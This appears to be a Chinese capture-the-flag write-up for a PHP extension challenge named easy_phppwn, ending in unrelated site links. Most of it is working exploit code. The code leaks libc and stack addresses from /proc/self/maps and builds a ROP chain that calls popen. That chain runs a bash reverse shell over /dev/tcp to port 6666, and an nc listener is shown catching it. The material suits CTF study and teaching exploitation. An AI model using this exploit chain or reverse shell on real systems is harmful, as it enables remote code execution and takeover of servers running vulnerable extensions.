        "\xc9"=>201,"\xca"=>202,"\xcb"=>203,"\xcc"=>204,"\xcd"=>205,"\xce"=>206,"\xcf"=>207,"\xd0"=>208,"\xd1"=>209,"\xd2"=>210,
        "\xd3"=>211,"\xd4"=>212,"\xd5"=>213,"\xd6"=>214,"\xd7"=>215,"\xd8"=>216,"\xd9"=>217,"\xda"=>218,"\xdb"=>219,"\xdc"=>220,
        "\xdd"=>221,"\xde"=>222,"\xdf"=>223,"\xe0"=>224,"\xe1"=>225,"\xe2"=>226,"\xe3"=>227,"\xe4"=>228,"\xe5"=>229,"\xe6"=>230,
        "\xe7"=>231,"\xe8"=>232,"\xe9"=>233,"\xea"=>234,"\xeb"=>235,"\xec"=>236,"\xed"=>237,"\xee"=>238,"\xef"=>239,"\xf0"=>240,
        "\xf1"=>241,"\xf2"=>242,"\xf3"=>243,"\xf4"=>244,"\xf5"=>245,"\xf6"=>246,"\xf7"=>247,"\xf8"=>248,"\xf9"=>249,"\xfa"=>250,
        "\xfb"=>251,"\xfc"=>252,"\xfd"=>253,"\xfe"=>254,"\xff"=>255
    ];
    $result = 0;
    for($i = 7; $i >= 0; $i--){
        $result = $u64_table[$bytes[$i]] + $result * 0x100;
    }
    return $result;
}
//变为64位的数字,这个仅限于打印string
function hex64(int $value):string{
    static $hex64_table=[
        0=>"0",1=>"1",2=>"2",3=>"3",4=>"4",5=>"5",6=>"6",7=>"7",8=>"8",9=>"9",10=>"a",
        11=>"b",12=>"c",13=>"d",14=>"e",15=>"f"
    ];
    $result = "";
    for($i = 0; $i < 16; $i++){
        $remainder = $value % 0x10;
        $value =  (int)($value/0x10);
        $result = $hex64_table[$remainder] . $result;
    }
    return "0x" . $result;
}
//string to int
function s2i($s) {
    $result = 0;
    for ($x = 0;$x < strlen($s);$x++) {
        $result <<= 8;
        $result |= ord($s[$x]);
    }
    return $result;
}
//int to string,再进行read的时候肯定不能读入int,因此要转变为string
function i2s($i, $x = 8) {
    $re = "";
    for($j = 0;$j < $x;$j++) {
        $re .= chr($i & 0xff);
        $i >>= 8;
    }
    return $re;
}

exp

php 复制代码
<?php

function i2s($i, $x = 8) {
    $re = "";
    for($j = 0;$j < $x;$j++) {
        $re .= chr($i & 0xff);
        $i >>= 8;
    }
    return $re;
}

// 读取 /proc/self/maps 文件内容
$content = file_get_contents('/proc/self/maps');
echo $content ; //打印/proc/self/maps内容
// 函数用于解析基地址
function getBaseAddress($content, $pattern) {
    if (preg_match_all($pattern, $content, $matches)) {
        return $matches[1]; // 返回所有匹配的基地址
    }
    return null;
}

// 匹配 libc 的基地址
$libcPattern = '/^([0-9a-f]+)-[0-9a-f]+\\s+r--p\\s+.*?\\s+\\S*libc.*$/m';
$libcBaseAddresses = getBaseAddress($content, $libcPattern);

if ($libcBaseAddresses) {
    echo "libc base addresses:\n";
    foreach ($libcBaseAddresses as $address) {
        echo "0x$address\n";
        break;
    }
} else {
    echo "No libc base address found.\n";
}

// 匹配 stack 的基地址
$stackPattern = '/^([0-9a-f]+)-[0-9a-f]+\\s+rw-p\\s+.*?\\s+\\[stack\\]$/m';
$stackBaseAddresses = getBaseAddress($content, $stackPattern);

if ($stackBaseAddresses) {
    echo "stack base address:\n";
    foreach ($stackBaseAddresses as $address) {
        echo "0x$address\n";
        break;
    }
} else {
    echo "No stack base address found.\n";
}

// 定义地址和偏移量
$libc_base= hexdec($libcBaseAddresses[0]);
$stack_offset = 0x1c480;
$stack_addr  = hexdec($stackBaseAddresses[0]);
$p_rdi_r =  $libc_base+0x23b6a;//i2s(0x0000000000023b6a + $libc_base);
echo "$p_rdi_r\n";
$p_rsi_r = 0x000000000002601f + $libc_base;
$p_rdx_r = 0x000000000015fae6 + $libc_base; //0x000000000015fae6: pop rdx; pop rbx; ret; 
$p_rax_r = 0x0000000000036174 + $libc_base;
$ret = 0x0000000000036175 + $libc_base;
// 获取 popen 地址
$popen_addr = 0x84380 + $libc_base;

// 定义命令
$command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';

// 构造 payload
$buf1 = str_repeat('a', 0x80);
$buf = str_repeat('b', 0x8) . pack('Q', $p_rdi_r) . pack('Q', $stack_addr +$stack_offset ) ;
$buf .= pack('Q', $p_rsi_r) . pack('Q', $stack_addr +$stack_offset-0x18); 
$buf .= pack('Q', $ret); //balance stack rsp
$buf .= pack('Q', $popen_addr) . "r" . str_repeat("\x00", 7) ;
$buf = str_pad($buf, 0x50, 'c');
$buf .= str_pad($command, 0x60, "\x00") . str_repeat('\x00', 8);
$payload = $buf1 . $buf;

// 输出 payload,模拟 easy_phppwn(payload)

echo $payload;
easy_phppwn($payload)

?>
bash 复制代码
llk@ubuntu:~/Desktop/tools/php-src/ext/hello/modules$ sudo nc -lvvp 6666 -n
Listening on 0.0.0.0 6666

gdb中

本地主机

相关推荐
C语言魔术师11 分钟前
【小游戏篇】三子棋游戏
前端·算法·游戏
匹马夕阳1 小时前
Vue 3中导航守卫(Navigation Guard)结合Axios实现token认证机制
前端·javascript·vue.js
你熬夜了吗?1 小时前
日历热力图,月度数据可视化图表(日活跃图、格子图)vue组件
前端·vue.js·信息可视化
水瓶丫头站住7 小时前
安卓APP如何适配不同的手机分辨率
android·智能手机
桂月二二8 小时前
探索前端开发中的 Web Vitals —— 提升用户体验的关键技术
前端·ux
xvch8 小时前
Kotlin 2.1.0 入门教程(五)
android·kotlin
hunter2062069 小时前
ubuntu向一个pc主机通过web发送数据,pc端通过工具直接查看收到的数据
linux·前端·ubuntu
qzhqbb9 小时前
web服务器 网站部署的架构
服务器·前端·架构
刻刻帝的海角9 小时前
CSS 颜色
前端·css
九酒9 小时前
从UI稿到代码优化,看Trae AI 编辑器如何帮助开发者提效
前端·trae